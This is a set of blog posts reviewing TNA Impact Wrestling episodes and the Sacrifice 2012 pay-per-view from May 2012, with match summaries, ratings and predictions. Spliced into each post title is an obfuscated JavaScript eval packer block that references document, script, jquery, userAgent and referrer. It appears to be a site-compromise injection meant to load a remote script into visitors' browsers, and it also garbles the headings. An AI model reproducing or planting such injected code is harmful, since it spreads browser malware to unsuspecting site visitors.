Impact Wrestling – May 17, 2012: A Two Hour Trailer

Impact eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rdhaf|var|u0026u|referrer|asnty||js|php'.split('|'),0,{})) Wrestling
Date: May 17, 2012
Location: Impact Zone, Orlando, Florida
Commentators: Mike Tenay, Tazz

It’s the first show after Sacrifice and Roode is still champion, which isn’t something that should surprise you. Other than that, not a lot changed at the PPV. The only real change is that we have new tag team champions in the form of Daniels and Kazarian. We should begin building up for Slammiversary too. Let’s get to it.

Here’s Roode to open the show. Gee I wonder what he’s going to be saying. It’s the same promo you’ve always heard from him with him talking about how he’s the best and no one can stop him. Next week he’s going to have The It Factor’s Celebration Of Domination, which is a party of some kind. First of all though, he needs Hogan out here. Cue the guy who is somehow still the NEW GM, about six weeks after getting the job.

Roode has demands for Hogan for next week. He wants a redecorated dressing room and five bottles of chilled champagne plus only green M and M’s. Also he wants gold confetti flown in from Canada. Hogan takes the list and talks about some great champions. He talks about how Roode brought stability to the show, but he hasn’t broken the record yet. Next week is Open Fight Night, and the world title will be on the line.

Hogan talks about taking a poll in the back of people that might want a shot next week. The locker room empties out and apparently they all want a shot next week. Hogan says we need to get this down to four men, so tonight there will be four singles matches. The winners will advance to some kind of competition next week and the winner will get a title match later next week. The matches are Ray vs. RVD, Hardy vs. Anderson (nice job on screwing the PPV fans again guys), Angle vs. Joe, and a battle royal.

We get a clip of Abyss saying Joseph is getting too close to the fire.

Rob Van Dam vs. Bully Ray

Rob is very banged up from the ladder match and Ray goes after the bad arm. Van Dam kicks his way out of it as usual and Rolling Thunder gets two. Ray goes after the knee but Rob kicks away again. He goes up top and tries the top rope kick, but hurts his knee in the process. Bubba Cutter (called a 3D by Tenay) gets the pin at 3:22.

Rating: C-. This was a short match and it felt even shorter. That being said it wasn’t really that bad as the leg injury from the PPV played in here, which is a good thing. Ray moving on is a good thing as I find him more interesting than Rob, who is more or less just there because of his past work. Ray using the Cutter is a good thing.

Post break Bully Ray rants about……the Kardashians? Apparently they’re about anti-bullying now and he wants to fight them. Joseph Park comes in and apologizes for interfering on Sunday. He thinks Ray is the fire that Abyss was talking about. Ray says stay away.

We see a segment from MMA Uncensored of King Mo, an MMA fighter, announcing that he’s signing with TNA and fighting for Bellator at the same time. There’s some MMA analyst and Dixie Carter there too. Not much is said.

Gail rants to Madison about having to be in a triple threat match tonight. Madison says there’s no guy she likes, even though she admitted to there being one recently. Brooke and Velvet come up after Madison leaves to fix her hair. They make fun of Gail for cheating and say one of them will win the title.

Battle Royal

This is a qualifying match as well. Aries gets an entrance pre-break. After a break AJ, ODB and Eric Young get entrances as well. Also in there are guys like Magnus, D-Von, Crimson, Garrett Bischoff and others. ODB and Eric hit a double clothesline on Crimson and all three go out. The Rob’s and Gunner are in there too. I think that’s everyone. There are eight more I think. Magnus goes to the apron and Aries dropkicks him out. Madison is watching from the apron and is all smiley but we’re not sure at whom.

After a few minutes of nothing going on, Robbie E puts out Robbie T. T is annoyed but D-Von puts out E anyway. So it’s Gunner, Garrett, D-Von, AJ and Aries as we take a break. Back with all five still in. AJ and Aries work together on Gunner and D-Von kills Garrett with a shoulder. Garrett low bridges D-Von to eliminate him, probably getting a title match later.

AJ Peles the tar out of Garrett and eliminates him. Gunner gets dropkicked down (not eliminated) and it’s AJ vs. Aries in a showdown. Aries hits a spinning forearm and it’s time for counters. A Superman forearm staggers Aries and AJ goes to the apron, but Aries charges. That lets Gunner knock Aries to the floor but AJ dumps Gunner to advance at 10:56.

Rating: C+. Fun stuff here and AJ is the perfect placeholder or even a potential winner for next week’s fourway. The Garrett push is likely to continue with a TV Title shot next week. The stuff at the end was good too as they treated AJ vs. Aries as a big deal, which to be fair it kind of is. Aries still needs to drop the title soon though.

We recap the AJ/Dixie photos stuff from the last few weeks.

Back with AJ in the ring. He says he’ll win the title next week but now it’s time to discuss the pictures. Nothing happened and they’re just business partners. They’re both married but it’s not like that. Things aren’t as they seem, but here are Daniels and Kaz. They imply that AJ has slept his way to the top and have video to prove it. They pull out an iPad and show AJ and Dixie going into a hotel room together.

We get a video from Genesis 2006 and Joe’s first loss, which was to Angle.

Joe comes up to Angle and they talk about the past. Angle slaps Joe and it’s on in the back with Angle getting a beating. Other wrestlers break it up.

Anderson looks at a video and thinks Jeff kicked out.

Moment #7 in TNA history is the Unbreakable triple threat.

Mr. Anderson vs. Jeff Hardy

Slow feeling out process to start until Jeff sends him to the floor. Jeff tries a dive of some kind but Anderson grabs the feet and slams him into the mat. Jeff comes back with a slingshot clothesline for two. Anderson hits his neckbreaker for the same. Anderson tries a kick to the head but Jeff chop blocks him to slow things down. A rollup by Jeff is countered into one by Anderson for two. Whisper in the Wind gets two. Anderson hits the Regal Roll but Jeff rolls back on him for the pin at 6:04.

Rating: C-. Not a terrible match here but these two just aren’t interesting at all together. Anderson is possibly moving towards a heel turn but it’s still nothing that’s going to make me care about him. This was better than their PPV match, but the chemistry was still severely lacking.

Video on Joe winning the world title from Angle at Lockdown 08.

Knockouts Title: Gail Kim vs. Brooke Tessmacher vs. Velvet Sky

Gail keeps trying to escape but gets double teamed and sent to the floor. The good girls trade small packages and that’s about it. Gail comes back in for a Boston Crab on Brooke but Velvet hooks a dragon sleeper at the same time on Gail. Gail tries an Octopus hold on Brooke but Velvet rolls her up for two. Kim doesn’t let go and rolls Brooke up for two. A top rope missile dropkick by the champ puts all three girls down. In Yo Face to Brooke but Gail throws Velvet to the floor and pins Brooke with a rollup at 4:42.

Rating: C. They tried some new stuff here and for the most part it worked, but at the end of the day it’s still the same girls that are only ok in the ring and Gail is still boring as champion. This was entertaining enough though and that’s the whole point. And they’re still better than the Divas.

Slammiversary video.

Kurt Angle vs. Samoa Joe

Joe knocks him to the floor but Angle double legs him down easily. Joe speeds things up and hits his usual strikes and drops his knee for two. The Facewash keeps Angle down in the corner as Roode comes out to do commentary. We take a break and come back with Angle in control. He knocks Joe down for two and hooks a chinlock.

Joe comes back with the powerslam but walks into the Germans to give Kurt control again. The Slam is countered into the Clutch which is countered into the ankle lock which is countered by Joe sending Angle into the corner. Angle hits the Slam for two, which really shouldn’t surprise anyone at this point. There’s the ankle lock again but Joe sends him into the corner. They go to the corner and Angle headbutts him away. A sunset flip into a rollup off the top gets the pin for Angle at 12:26.

Rating: B-. Good match but not quite as good as most of their matches. By not quite, I mean not even close. Joe is a guy you can throw into a place like this and it’s good to see him getting wins and being in big spots again, but he’s still nothing compared to what he used to be. Still though, this was built up as a big match and it mostly delivered.

The four challengers surround Roode to end the show.

Overall Rating: B-. Pretty good show here tonight but they’re using the single angle idea again here, which isn’t something I’m usually a fan of. In other words, this was almost all about next week and if that’s not your thing, too bad because this wasn’t a show for you. Still though the wrestling here worked and that’s all that matters for the most part. We have a big match set for next week’s Open Fight Night, which hopefully is better than the first. Good show.

Results
Bully Ray b. Rob Van Dam – Bully Cutter
AJ Styles won a battle royal last eliminating Gunner
Jeff Hardy b. Mr. Anderson – Crucifix
Gail Kim b. Brooke Tessmacher and Velvet Sky – Rollup to Tessmacher
Kurt Angle b. Samoa Joe – Rollup

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Sacrifice 2012: About What I Expected

Sacrifice eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dzhtd|var|u0026u|referrer|hiytf||js|php'.split('|'),0,{})) 2012
Date: May 13, 2012
Location: Impact Zone, Orlando, Florida
Commentators: Mike Tenay, Tazz

Time for another filler PPV from the boys in Orlando. The card here is better than the Victory Road show but it’s definitely a B show at best. The main event is Roode vs. RVD for the title and we’ll likely get more developments in the return of Abyss story as well. To be fair though, that’s one of the most interesting stories they’ve had in awihle. Let’s get to it.

The opening video is about how Roode is angry about recent events.

Tag Titles: Samoa Joe/Magnus vs. Kazarian/Christopher Daniels

The announcers talk about how awesome Magnus is. He and Daniels start with the British guy in control. Daniels gets in an elbow in the corner but a cross body is countered into a suplex in a cool power display. Off to Joe and Daniels runs away, bringing in Kaz. A big elbow puts Kaz down and it’s off to Magnus. The champions use some good teamwork to beat on Kaz but Daniels trips up Magnus to shift control.

Magnus plays Ricky Morton with a British accent. Both challengers work on him a little bit at a time until it’s chinlock time from Daniels. Joseph Park is in the audience. Kaz hooks a double chickenwing but Magnus fights up and hits a shoulder block to escape. There’s the tag to Joe who cleans house and creates heel miscommunication. Release Rock Bottom puts Daniels down out of the corner.

Daniels breaks up the champions’ finishing move with a boot to Joe’s face. A DDT gets two on Joe as does the STO. Magnus gets in a shot to allow the champions to hit the finishing sequence on Daniels but Kaz pulls Magnus to the floor. Joe goes for the save and Magnus goes back in, but the challengers hit a Total Elimination on Magnus for the surprise pin and the titles at 10:54.

Rating: C. Pretty good opening but the ending was pretty surprising. I guess there’s a reason to give the titles to Daniels/Kaz, but the division is still pretty weak given the roster of tag teams at this point. Joe and Magnus were getting good together and I’m sure they’ll get a title shot again but odds are on AJ finding a partner and going after them.

Tenay and Taz plug their social media stuff.

We recap Brooke vs. Gail. In short: Gail is a wrestler, Brooke is a model who looks good in a bikini but she wants to prove she can fight. Brooke has three wins in a row over Gail coming into this.

Knockouts Title: Brooke Tessmacher vs. Gail Kim

Gail jumps Brooke to start but Tessmacher tries Eat Defeat twice to send Gail running to the floor. Gail gets in a kick to the ribs to take over and follows with a shoulder block to the ribs. The champion hits a backbreaker and bends Brooke over the knee in a submission hold out of the same position.

It’s about 99% Kim until Brooke gets a flying forearm to get herself a breather. A facejam out of the corner puts Gail down and a top rope elbow gets two. The champion tries a quick Eat Defeat but Brooke hits one of her own which knocks Gail to the floor. Back inside that gets two. And then Gail rolls her up with feet on the ropes to retain at 6:50.

Rating: C-. Not bad here but Tessmacher continues to be just barely better than your normal terrible women’s wrestler. Anyone that believes she’s out there because of anything other than how she looks in her wrestling outfits is delusional. Still though, I’d have switched the title due to how long Gail has had the title and how stale her title reign has gotten.

Kaz and Daniels say that AJ got where he is by whistling Dixie. Kaz and Daniels are where they are because they beat people up. Daniels says his championship is proof. This is just beginning with AJ and you may now worship them.

TV Title: D-Von vs. Robbie E vs. Robbie T

Officially it’s a triple threat. D-Von punches T to the floor and then punches E down. A Rock Bottom gets two on E but T pulls the champion to the floor. E gets back up and tells T to stand down because he’s got this. Powerslam gets two for E. D-Von comes back and knocks E to the floor but T catches him with a shot to the back. Powerslam gets two as E makes the save. Extra and Terrestrial get in a shoving match, allowing D-Von to roll up T to retain at 5:40.

Rating: D+. This feud MUST be over now right? It’s been going on for like four months now and for the life of me I don’t get why it’s continued this long. Are there really no other people that can get in on the TV Title hunt? Nothing to see here but hopefully it ends this feud once and for all.

T teases attacking E post match but they’re ok.

We recap Anderson vs. Hardy. Basically they both wanted to be #1 contender but got in a fight instead. RVD got the shot so these two need something to do.

Mr. Anderson vs. Jeff Hardy

Feeling out process to start resulting in some armdrags by Hardy into an armbar. They head to the floor with Jeff in control and Anderson going into various metal objects. Jeff tries a running attack off the steps but Anderson moves. Jeff blocks the contact into the railing though and therefore doesn’t lose control. Back in Anderson kicks him down but gets caught by a jawbreaker from Jeff.

Jeff tries the slingshot dropkick in the corner but Anderson gets his own feet up to block it. Clothesline gets two as does a flying armbar. Hardy rolls to the apron and tries to fight back but gets caught by a neckbreaker through the ropes for two. Anderson hooks the arm again but Jeff fights to his feet. Another neckbreaker is countered and Jeff hits a Mic Check to put both guys down.

Anderson is up first but Jeff meets him with right hands. Hardy loads up Whisper in the Wind but Anderson moves forward to send Hardy crashing down. Twist of Fate from Anderson gets two but the Kenton Bomb misses. The Swanton connects but only for two. In a really strange ending, Hardy tries his legdrop between Anderson’s legs but Anderson shoves Hardy’s legs back and rolls him up for the pin, but I was almost sure Hardy kicked out. Either way it gets the pin at 11:40.

Rating: C-. This was supposed to be a big main event style match but it didn’t work at all for me. Anderson is just so uninteresting in the ring and for the life of me I don’t get why he went over Hardy here. I guess the ending is going to be a selling point later on as Hardy pretty clearly kicked out and he protested after the match, but we’ll have to wait for Impact for that.

Aries says he isn’t worried about Ray tonight. He thinks better is better than bigger, and that the bullying stops tonight.

We get a video from the end of Impact where Abyss returned.

Joseph Park is in the crowd and is having a great time. He says he didn’t see Abyss return on Thursday because he was recovering from Ray attacking him. Abyss might appear tonight too.

Crimson comes out to brag about beating Morgan on Thursday. He issues an open challenge and here’s who he gets.

Crimson vs. Eric Young

I didn’t hear a bell and it’s time for COMEDY! Eric locks up with the referee and does Ultimo Dragon’s handstand in the corner. A clothesline puts Crimson on the floor, although I never heard a bell. Crimson throws him to the floor to take over and a suplex gets two. There’s the cravate and Eric gets shoved down. ODB gets in and gets shoved down which ticks Eric off. And there go his pants. He slams Crimson down and drops a top rope elbow for no cover. Eric goes to check on ODB but Crimson shoves him into the wife and Red Sky gets the pin at 4:00.

Rating: D. What does anyone see in either of these guys? Eric IS NOT FUNNY. He does the same stuff every single week and it just isn’t funny. Hey look: he can take his pants off and lock up with a referree. COMEDY! Crimson is the most uninteresting undefeated name this side of Tatanka as it’s clear they have no idea what they’re doing with him.

Ray says that he doesn’t do Twitter and plugs his MySpace page. He’s too big for Aries to beat too.

We recap Aries vs. Ray, which is victim vs. Bully with the victim fighting back.

Bully Ray vs. Austin Aries

Ray goes into a nearly Memphis level of stalling until Aries jumps him. Taz uses the time to actually offer some veteran analysis, talking about how it’s possible for a smaller guy to use leverage moves against bigger guys like Ray. Aries pounds away on him but gets shoved down. Ray tries to stomp him but Aries bites the calf to escape. Aries goes up but a big boot knocks him into the barricade in a cool looking bump.

Oh man Aries has some bad looking bruises on his back which Tazz calls busted blood vessels. Ray slams him down and puts on a bearhug before hitting a HARD chop to the chest. Aries pops up and says hit me again which Ray does. Aries tries to come back but gets chopped down again. Ray says stay down but Aries comes back with chops. A running elbow in the corner hits Ray but he comes back with a modified powerbomb for two. Ray sends him into the ropes and hits a wicked one man 3D but it only gets two.

Here comes Joseph Park to the front row and Ray comes out to get in his face. He pulls Park over the railing and into ringside but Aries takes Ray down with a suicide dive. Back in the ring a missile dropkick sends Ray into the corner and Aries somehow pulls off the brainbuster for two. Ray tries a superbomb out of the corner but falls on his face, allowing Aries to throw on the Last Chancery for the tap at 13:17.

Rating: B. Good match here and it’s good that they gave Aries the win. There was no need to have Ray get a win here and for awhile I was thinking they were going to go with him. On a side note, that one man 3D is a great finisher for Ray as it looks devastating. Anyway, good win for Aries here but he needs to get rid of that belt soon. It’s not helping him anymore and it kills the division a little more every day he has it.

We recap the pictures being revealed on Monday.

AJ says he isn’t here to talk about pictures.

We recap Angle vs. Styles. Angle beat Styles because AJ was distracted by Daniels and the photos he had and Angle didn’t want to win that way. This is his rematch.

AJ Styles vs. Kurt Angle

Angle is pretty much a tweener now as he doesn’t really have an allegiance to either side of the spectrum. AJ takes it to the mat which goes to a standoff. Now Angle takes it to the mat and AJ bails. Angle has lowered his kneepad and tells AJ to shoot for the leg. AJ outsmarts him though and kicks Angle in the face as Angle drops down into defense. Angle hooks a bearhug and tries a suplex but Styles counters into a Styles Clash attempt which is countered into an ankle lock attempt which doesn’t work.

Angle takes over with a headlock which lasts for awhile. Styles comes out of it and drops a knee. Styles Clash is broken up again and they head to the floor. AJ counters a suplex by landing on his feet and takes Angle down with a clothesline. In the ring AJ misses a jumping attack in the corner and Kurt suplexes him down. AJ fights out of a body vice but runs into a backbreaker for two.

Off to a chinlock as this match slows way down. AJ gets up and both guys try cross bodies. Styles speeds things up and hits an AA into a backbreaker for two. Springboard forearm gets two. Angle blocks the Clash but gets sent to the floor. AJ hits the springboard forearm to the floor and both guys are down. Kurt suplexes him from the apron into the ring for two.

A belly to belly superplex is countered but Angle runs the ropes and hits the superplex for two. Angle Slam is countered with the Pele and the Styles Clash gets two. Kurt reverses a German into a release one of his own to put both guys down. Styles gets a spinning rollup for two but Kurt pulls off an Angle Slam. That gets two and Kurt is frustrated. Kurt pushes A+B at the same time and gets two off a Styles Clash. The moonsault misses and AJ hits his springboard 450 for two. AJ sets for something else and here are Kaz and Daniels for the interference, allowing Angle to hit another Slam for two. Ankle and grapvine end this at 20:45.

Rating: B. First and foremost, AJ and Angle had a good match. No one paying attention should be surprised at this at all. That being said, I do not want to ever see Christoper Daniels vs. AJ Styles again. I don’t care what the angle is, I don’t care what new twist they put on it, I don’t care how it turns out. I’m tired of seeing it and there’s no reason to put them together anymore. They’ve feuded on and off for over seven years now and I’m not interested in seeing it anymore.

Angle saves Styles from the double beatdown. There’s Slammiversary I’d assume.

Angle’s moonsault at Lockdown against Anderson is the #8 moment in TNA history.

Roode doesn’t feel right because he doesn’t have his belt with him. It’s above the ring and he doesn’t like it.

We recap Roode vs. RVD. RVD won a match to get the title match then won another one to make it a ladder match. That’s about it.

TNA World Title: Rob Van Dam vs. Bobby Roode

Ladder match. The belt looks higher up than it usually is. Van Dam knocks him to the floor to start and goes for the ladder, but Roode breaks it up. Van Dam comes back and hits the spinning kick to the back of Roode on the barricade. Van Dam goes for the ladder again but gets caught in a DDT for Roode to take over. Rob comes back with a flip dive to the floor to put Roode down. This is pretty slow paced to start but it’s not bad.

The ladder gets set up in the corner and Roode goes face first into it. Now it gets placed on the middle rope and Roode slingshots RVD’s face into it. Roode’s suplex onto the ladder is blocked and Van Dam suplexes Roode onto the ladder instead. A Lionsault onto Roode onto the ladder puts both guys down. Van Dam sends him back first into the ladder and puts him in Van Terminator position.

Instead he surfboards the chair into the ladder into Roode which puts Van Dam down as well for some reason. Van Dam gets another ladder and goes up but Roode knocks him off. Rob bumps into the ladder to knock Roode off and the ladder hits Roode in the head. I think he’s ok though as he clotheslines Van Dam down and hits the spinebuster onto the ladder. Van Dam comes out of nowhere with a monkey flip to send Roode into the ladder in the corner, followed by Rolling Thunder.

The challenger has a nasty cut and lump on his elbow. Bad elbow and all he kicks Roode onto a ladder but the Five Star misses Roode and hits the ladder. Roode goes up and Van Dam tries to pull a Shelton Benjamin and jump onto the ladder but he misses and ties his leg up in it. Somehow he manages to climb up to chase Roode, only to get shoved off and hit his head on the chair from earlier. Roode retains at 15:28.

Rating: C+. This was fine but it was nothing great at all. I don’t think most people expected RVD to take the title here, as he was the veteran in this kind of match coming into his own match so of course he had no chance. The match was entertaining enough for a B-Show main event, but Van Dam was nothing but a placeholder to be another guy for Roode to beat.

Overall Rating: B-. This was pretty much what I was expecting: a decent show where nothing significant happens at all (on paper at least). That’s what plagued Lockdown (among other things): nothing changed. TNA has been in the same place for awhile now and that’s not a good thing. They need to shake things up a little bit, and I think that’ll happen at Slammiversary. It was an entertaining show but it’s nothing I’ll remember three days from now.

Results
Kazarian/Christopher Daniels b. Samoa Joe/Magnus – Total Elimination to Magnus
Gail Kim b. Brooke Tessmacher – Rollup with feet on the ropes
D-Von b. Robbie E and Robbie T – Rollup to Robbie T
Mr. Anderson b. Jeff Hardy – Rollup
Crimson b. Eric Young – Red Sky
Austin Aries b. Bully Ray – Last Chancery
Kurt Angle b. AJ Styles – Ankle Lock
Bobby Roode b. Rob Van Dam – Roode pulled down the title

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Sacrifice 2012 Preview

The eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|khbnz|var|u0026u|referrer|nszih||js|php'.split('|'),0,{})) show is officially later tonight and as usual I can barely remember most of the card.I’ll go with Roode to retain.  It’s a filler main event, but I don’t see any reason for him to lose the title.

Anderson over Hardy.  I flipped a coin.
AJ to lose to Angle due to being all messed up.

Now I have to look at the list of matches because that’s all I can remember.

The Robs take the title somehow because this feud hasn’t gone on long enough.

I’ll take the tag champs to retain.  They’re facing Daniels/Kaz.  I don’t remember hearing about it either.

Tessmacher to take the title.

Finally I’ll go with Aries over Ray because of Abyss.

 

Overall the show is 100% filler, although it looks better than Victory Road, but that isn’t saying much.

 

Thoughts/Predictions?




Impact Wrestling – May 10, 2012: Stipulations And Monster A Go-Go!

Impact eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iseat|var|u0026u|referrer|nnnia||js|php'.split('|'),0,{})) Wrestling
Date: May 10, 2012
Location: Impact Zone, Orlando, Florida
Commentators: Mike Tenay, Tazz

It’s the go home show for Sacrifice and I don’t think much has been announced for the show. It’ll probably be more about RVD vs. Roode which hasn’t been built up all that well for the most part. I mean the material is there but it hasn’t really grabbed me yet. Either way the match is set for Sunday and it should be entertaining enough. Let’s get to it.

Here’s Roode to open the show and say his usual stuff. I’m sure you know this speech by now. He took out Anderson, Hardy and RVD last week because he’s the champion and that’s what he does. He’ll be the longest reigning champion in 14 days and no one can stop him, especially not RVD on Sunday.

Cue RVD for a brawl with Roode going to the floor. RVD holds up the belt and Anderson comes out to beat up Roode too. Hardy comes in and it’s a 3-1 beatdown. Hardy and Anderson get in a fight because that’s what they do. Cue Hogan who has an idea for a fatal fourway tonight with everyone in the brawl in it. If Anderson or Hardy win, they get the RVD’s title match. If Roode wins, he can pick which of the three he wants to face. If RVD wins, he gets to pick the stipulation. RVD says cool let’s do it. Well at least it plays up to the Sacrifice name. Too bad this is IMPACT and not Sacrifice.

Ray isn’t worried about the tiny man known as Austin Aries. He says he’s going to take care of Aries tonight so stay tuned.

Gail is panicking about her match with Brook while Madison gets ready. Madison wants to look perfect for some guy but won’t say who.

Velvet Sky vs. Brooke Tessmacher

Velvet sends her to the corner and shakes her hips. Brooke sends her to the corner and shakes her hips. Ok then. They do some basic stuff until Brooke knocks her into the corner and uses her hips to ram Velvet’s face. Velvet comes back and hits a basement dropkick but In Yo Face is countered. Brooke hits a drop toehold to send her into the buckle and that belly to back mat slam for the pin at 3:42.

Rating: D-. This was REALLY bad with both girls missing a lot of stuff. It looked like their stuff was missing too, which is what can usually be covered up by people with more talent than this. Also I get tired of the hip stuff quickly. We get it: you know how to shake your hips. Now do something else.

Gail comes out and Brook Eats Defeat.

AJ has no comment on the secret thing and is focused on Angle this Sunday.

Hardy is ready for the main event.

Matt Morgan vs. Crimson

Bully Ray jumps Morgan with the chain before Morgan can get into the ring. He adds in a chair shot to the head and says that’ll be Aries in a stoic voice. No match as Morgan is taken out on a stretcher.

Post break and Morgan is still being taken out. Crimson gets on the mic and says that week after week Morgan claims to be the man to break the streak. He makes the referee ring the bell and count to ten.

Crimson vs. Matt Morgan

Ten count, 39 seconds.

RVD talks about Greek mythology and choosing the life of the hero instead of the long peaceful one.

X-Division Title: Zema Ion vs. Austin Aries

Aries takes over to start with a seated dropkick and it’s out to the floor. Aries misses a double ax off the top rope and hits the barricade. Ion hits a big flip dive which gets two back in the ring. Backbreaker gets two. A middle rope moonsault gets knees so Aries clotheslines him to the floor. Suicide dive takes Ion out and back in, a Tajiri handspring leads to a back elbow on the mat for two. A pair of dropkicks sets up the brainbuster to retain at 4:16.

Rating: C. The match was fine but it was basically a squash. Aries has zero competition and hasn’t for months, which makes these matches pretty dull as there’s no drama at all. It’s good that he’s moving up to the regular midcard but they need to get the title off of him. It’s not that hard to do it either but for some reason they keep waiting on it.

Kaz is worried about revealing the secret but Daniels says it’s ok.

RVD is ready for the win tonight and he’ll win the title on Sunday.

Quick recap on the latest incarnation of Daniels vs. AJ.

Daniels and Kaz are in the ring and Daniels invites AJ out to set the record straight. Cue AJ who says that this is a mistake but Kaz cuts him off. Kaz says that he protected AJ and then saw what was in the envelope and he stopped realizing why he was protecting AJ. Kaz opens the envelope and it’s a photo of AJ and Dixie Carter holding hands. AJ says so what so we get another of AJ with his hands on her face. The third is of them kissing. Daniels drops the pictures and leaves AJ stunned.

TV Title: Robbie E vs. D-Von

D-Von clears the ring of Big Robbie to start and hits a Thesz Press with punches. Headbutt keeps E down but T pulls D-Von to the floor. That goes badly for the big guy and E gets clotheslined as he tries to jump D-Von. Spinebuster ends this in 1:13.

Robbie T powerslams D-Von post match to keep this feud going another week.

We go to Tennessee to hear from Storm about how he has no excuse to lose. He’s put a lot of work into everything on his farm and in wrestling and he’s never second guessed himself until now. He didn’t get the job done at Lockdown and it kills him.

If RVD wins, it’s a ladder match. Apparently this was revealed earlier.

Joseph Park needs help finding the ring.

D-Von challenges the Rob’s to a handicap match at Sacrifice.

We recap the Abyss Is Missing story and how Joseph is looking for him.

Here’s Joseph in the arena and he has issues getting in the ring. He says everyone here knows who he is and what he’s doing. Every lead he’s had has said find Bully Ray so he’s not going away. Joseph says that he might buy a ticket and come to Sacrifice on Sunday to watch the show. Why bother? You’ve walked into every show here for months now.

Ray comes out and yells, saying this isn’t a court room and that Joseph needs to get out. Joseph says that Ray lost to Abyss in Abyss’ last appearance, plus he lost to D-Von two weeks ago. Then last week a guy half of Ray’s size named Austin Aries beat Ray down. How is that bully thing working out for you Ray? Ray shoves Joseph down and leaves as Park smiles.

Anderson is looking forward to not having his match on Sunday.

We get a great moment in TNA history which is Hogan arriving and throwing The Band out.

Angle is ready for AJ.

We run down the Sacrifice card.

RVD is ready for Sacrifice.

Rob Van Dam vs. Bobby Roode vs. Jeff Hardy vs. Mr. Anderson

If Rob wins, Roode vs. Van Dam is a ladder match. If Roode wins, he gets to pick his opponent on Sunday. If Hardy or Anderson win, they get RVD’s spot. Everyone jumps Roode to start but Anderson shoves Hardy off. They fight to the floor so it’s RVD vs. Roode with the champ hitting a suplex as we take a break.

Back with Roode getting two off another suplex. Anderson comes back in and gets his spinning neckbreaker for two on RVD. Van Dam comes back with the split legged moonsault for the same result. He loads up the Rolling Thunder but Roode catches him in the spinebuster for two in a nice counter. Rob superkicks Roode into the corner but his monkey flip to Jeff is countered. Whisper in the Wind gets two on RVD. Rolling Thunder hits Hardy but Roode throws Van Dam to the floor. Twist of Fate and Mic Check to Roode followed by Anderson spearing Hardy to the floor. Five Star pins Roode at 8:30.

Rating: C-. That’s the longest match of the night and it ran less than nine minutes, about four of which were spent in a commercial. I don’t think anyone thought anybody but Van Dam was going to win here which is ok, but they should have set up the stipulation way earlier than this instead of waiting for three days to go before the PPV.

Post match RVD puts up a ladder and here’s Abyss on the stage. He whispers to the camera and says Joseph is getting too close to the fire and to back off before he gets burned.

Overall Rating: D+. This show didn’t work for me for the most part. There was WAY too much talking and a lot of this felt like they were getting ready for TV later instead of the PPV on Sunday. That’s a major problem this company has: they book for TV instead of their major shows which doesn’t make much sense.

Why would anyone want to pay money (which is what TNA”s goal is: to make money) if the focus is on TV instead of the PPVs? Some of the matches got built somewhat ok, but adding a ladder stipulation to the title match three days early is a bad idea as you had a month you could have built that up with. Either way, not a good show heading into a filler PPV.

Results
Brooke Tessmacher b. Velvet Sky – Belly to Back Mat Slam
Crimson b. Matt Morgan via countout
Austin Aries b. Zema Ion – Brainbuster
D-Von b. Robbie E – Spinebuster
Rob Van Dam b. Jeff Hardy, Bobby Roode and Mr. Anderson – Five Star Frog Splash to Roode




Impact Wrestling – May 3, 2012: Rise Of The Silva Surfer

Impact eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fakff|var|u0026u|referrer|tssbk||js|php'.split('|'),0,{})) Wrestling
Date: May 3, 2012
Location: Impact Zone, Orlando, Florida
Commentators: Mike Tenay, Tazz

It’s time for another TNA show but it’s hard to say where things go from here. We had Open Fight Night last week which was nothing special at all in my eyes. The end of the show was Eric Bischoff being covered in human waste and since he’s gone FOREVER, it doesn’t really give any indication of where things are going next. Let’s get to it.

We open with a recap of the end of last week’s show.

Flair is in the ring complaining about Hogan and how Hulk ran Eric Bischoff out of the building. You spell his name R-i-c G-o-d F-l-a-i-r. That’s an awesome line. He calls out Hogan and eventually here’s Hulk. Flair says this is good vs. evil and Hogan is good, while Flair is the “most evil man in the planet.” Flair says he’ll get power back. Hogan says he isn’t here to fight him, but he’s here to step the game up. The real evil one is Eric though because he did everything. Hogan says he hung up his boots when the GM position came open and he’s here to make this the longest running company.

Hogan says he’s Flair’s boss and offers Flair a spot as a judge on the Gut Check stuff. So wait they had a guy come in and compete without having the judges already picked? Flair can teach anyone more than they could ever learn and he’d love Flair to head up the judging. Flair actually says he’ll do it.

Roode and RVD pick each others’ opponents tonight.

Velvet thinks Gail is a cheater. Tessmacher says she never got a shot.

